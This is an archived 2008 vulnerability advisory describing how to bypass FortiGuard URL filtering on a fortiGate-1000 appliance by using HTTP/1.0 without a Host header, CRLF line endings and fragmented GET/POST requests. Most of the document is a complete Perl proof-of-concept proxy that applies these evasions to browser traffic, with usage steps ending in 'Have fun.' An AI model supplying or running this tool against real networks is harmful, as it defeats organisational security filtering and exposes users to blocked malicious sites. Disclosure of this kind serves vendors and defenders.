Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18792
HistoryJan 04, 2008 - 12:00 a.m.

FortiGuard: URL Filtering Application Bypass Vulnerability

2008-01-0400:00:00
vulners.com
26

I dont know if its new but i code it during a PentTest and i would
like to share it with you.
It is based on code developed By sinhack research labs:
http://sinhack.net/URLFilteringEvasion/sakeru.tx

Description:
"Fortinet's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that fulfill 3 factors:

1.- HTTP Requests are terminated by the CRLF characters.
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.
3.- Finally, by Fragmenting the GET or POST requests

Analysis:

Fortinet's past vulnerability
(http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:

Moreover, while it is possible "to bypass the functionality via an
HTTP/1.0 request with no host header", the use of a host field is
actually required to access a specific site on multi-homed web sites.
When no host header is used, the intended web site is actually not
displayed. Therefore, there is no risk.

Macula's Analysis: If you dont have properly installed some AV, HIPS,
etc, through this vuln, a workstation can connect to a malicious
"Hacking Site" and get infected. Also through this vuln, you can
connect to different porn sites without problems. And no matter if its
or not multi-homed web sites. So we consider its not a low risk.

Products affected:
We only tested it on:
fortiGate-1000 3.00, build 040075,070111

Solution:
We tried to contact the vendor, but without any response.

PoC:

#!/usr/bin/perl

########################################

fortiGuard.pl v0.1 - http://www.macula-group.com/

# URL Filtering Bypass proof of concept

Author: Daniel Regalado aka Danux… Hacker WannaBe!!! (only some

minnor modifications from sinhack code)

Based on PoC from sinhack research labs -> sakeru.pl

#FortiGuard's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that are terminated by the CRLF
character
#instead of the LF characters and changing version of HTTP to 1.0
without sending Host: Header and Fragmenting the GET and POST Requests

#Tested On: fortiGate-1000 3.00, build 040075,070111

#This code has been released Only for educational purposes. The author
cannot be held responsible for any bad use.

Usage:

1) perl fortiGuard.pl

2) Configure your browser's proxy at localhost:5050

3) Have fun.

— Start Of Script—

use strict;
use URI;
use IO::Socket;

my $showOpenedSockets=1; #Activate the console logging
my $debugging=0;

my $server = IO::Socket::INET->new ( #Proxy Configuration
LocalPort => 5050, #Change the listening port here
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10);

binmode $server;
print "Waiting for connections on port 5050 TCP…\n";

while (my $browser = $server->accept()) { #When a connection occure…
binmode $browser;
my $method="";
my $content_length = 0;
my $content = 0;
my $accu_content_length = 0;
my $host;
my $hostAddr;
my $httpVer;
my $line;

while (my $browser_line = <$browser>) { #Get the Browser commands
unless ($method) {
($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)
+(\S+) +(\S+)/;

    my $uri = URI-&gt;new&#40;$hostAddr&#41;;

    $host = IO::Socket::INET-&gt;new &#40; #Opening the connexion to the

remote host
PeerAddr=> $uri->host,
PeerPort=> $uri->port ) or die "couldn't open $hostAddr";

    if &#40;$showOpenedSockets&#41; { #Connection logs
       #print &quot;Source:&quot;.$browser-&gt;peerhost.&quot;&#92;n&quot;;
       my &#40;$sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst&#41; =

localtime(time);
$year += 1900;
$mon += 1;
printf ("\n%04d-%02d-%02d %02d:%02d:%02d
",$year,$mon,$mday,$hour,$min,$sec);
print $browser->peerhost." -> ".$uri->host.":".$uri->port."
$method ".$uri->path_query."\n";;
}

    binmode $host;
    my $char;
    if &#40;$method == &quot;GET&quot;&#41; { #Fragmention the &quot;GET&quot; query
       foreach $char &#40;&#39;G&#39;,&#39;E&#39;,&#39;T&#39;,&#39; &#39;&#41; { #I know, there is better

way to do it,
print $host $char; #but I'm tired and lazy…
}
} elsif ($method == "POST") { #Fragmentation of "POST" query
foreach $char ('P','O','S','T',' ') {
print $host $char;
}
} else {
print $host "$method "; #For all the other methods, send
them without modif
print "*";
}
$httpVer="HTTP/1.0"; #Forzando a version 1.0
print $host $uri->path_query . " $httpVer\r\n"; #Send the rest
of the query (url and http version)
#next;
}

  $content_length = $1 if $browser_line=~/Content-length: +&#40;&#92;d+&#41;/i;
  $accu_content_length+=length $browser_line;

  foreach $line &#40;split&#40;&#39;&#92;n&#39;, $browser_line&#41;&#41; { #Fragment the Host query
    if &#40;$line =~ /^Host:/ &#41; {
              #my $char=&quot;&quot;;
               #my $word=&quot;&quot;;
               #my $bogus=&quot;&quot;;
               #&#40;$bogus,$word&#41; = split&#40;&#39; &#39;, $line&#41;;
               #foreach $char &#40;&#39;H&#39;,&#39;o&#39;,&#39;s&#39;,&#39;t&#39;,&#39;:&#39;,&#39; &#39;&#41; {
               #print $host $char;
               #}
               #print $host $word.&quot;&#92;r&#92;n&quot;;

    } else {
       print $host &quot;$line&#92;r&#92;n&quot;; #For all the other lines, send

them without modif
}

    if &#40; $debugging == 1 &amp;&amp; $method == &quot;POST&quot; &#41; {
       print &quot;$line&#92;n&quot;;
    }
  }
  #Danux Clave para terminar el Request y enviarlo al servidor

web, de otra forma se queda esperando este ultimo la peticion
print $host "\r\n";

  last if $browser_line =~ /^&#92;s*$/ and $method ne &#39;POST&#39;;
  if &#40;$browser_line =~ /^&#92;s*$/ and $method eq &quot;POST&quot;&#41; {
     $content = 1;
     last unless $content_length;
     next;
  }
  #print length $browser_line . &quot; - &quot;;
  if &#40;$content&#41; {
     $accu_content_length+=length $browser_line;
     last if $accu_content_length &gt;= $content_length;
  }

}

$content_length = 0;
$content = 0;
$accu_content_length = 0;

my $crcount=0;
my $totalcounter=0;
my $packetcount=0;

while ( my $host_line = <$host> ) { #Reception of the result from the server

  $totalcounter+=length $host_line;
  print $browser $host_line; #Send them back to the browser
  #print $host_line if &#40; ! $content &#41;; #Send them back to the browser
  if &#40;$host_line=~/Content-length: +&#40;&#92;d+&#41;/i&#41; {
   $content_length = $1;
   #print &quot; * Expecting $content_length&#92;n&quot;; #if &#40;$debugging&#41;;
  }
  if &#40;$host_line =~ m/^&#92;s*$/ and not $content&#41; {
       $content = 1;
       #print &quot; * Beginning of the data section&#92;n&quot;;
  }
  if &#40;$content&#41; {
   #$accu_content_length+=length $host_line;
   if &#40;$content_length&#41; {
      #print &quot; * binary data section&#92;n&quot;;
      my $buffer;
      my $buffersize = 512;
      if &#40;$content_length &lt; $buffersize&#41; { $buffersize = $content_length; }
      while &#40; my $nbread = read&#40;$host, $buffer, $buffersize&#41;&#41; {
          print &quot;#&quot;;
         $packetcount++;
          $accu_content_length+=$nbread;
          #last if $accu_content_length &gt;= $content_length;
          print $browser $buffer; #Send them back to the browser
          #print $buffer;
          #print &quot;&#92;n&#40;#$packetcount&#41; &quot;;
          #print &quot;total: $totalcounter content_length:

$content_length acc: $accu_content_length\t";
my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";

          if &#40;$tmp1 &lt; $buffersize&#41; {
           $buffersize = $tmp1;
           #print &quot;new buffersize = $buffersize&#92;n&quot;;
          }
       }
       #print &quot;Out of the content while&#92;n&quot;;
    }
  }

  #print &quot;&#40;#$packetcount&#41; &quot;;
  #print &quot;total: $totalcounter content_length: $content_length

acc: $accu_content_length\t";
#my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";
last if ($accu_content_length >= $content_length and $content ==
1 and $content_length);
}
#print "\nOut for a while\n";

if ($browser) { $browser -> close; } #Closing connection to the browser
if ($host) { $host -> close; } #Closion connection to the server

}

— EOF —


Danux, CISSP, OSCP
Offensive Security Consultant
Macula Security Consulting Group
www.macula-group.com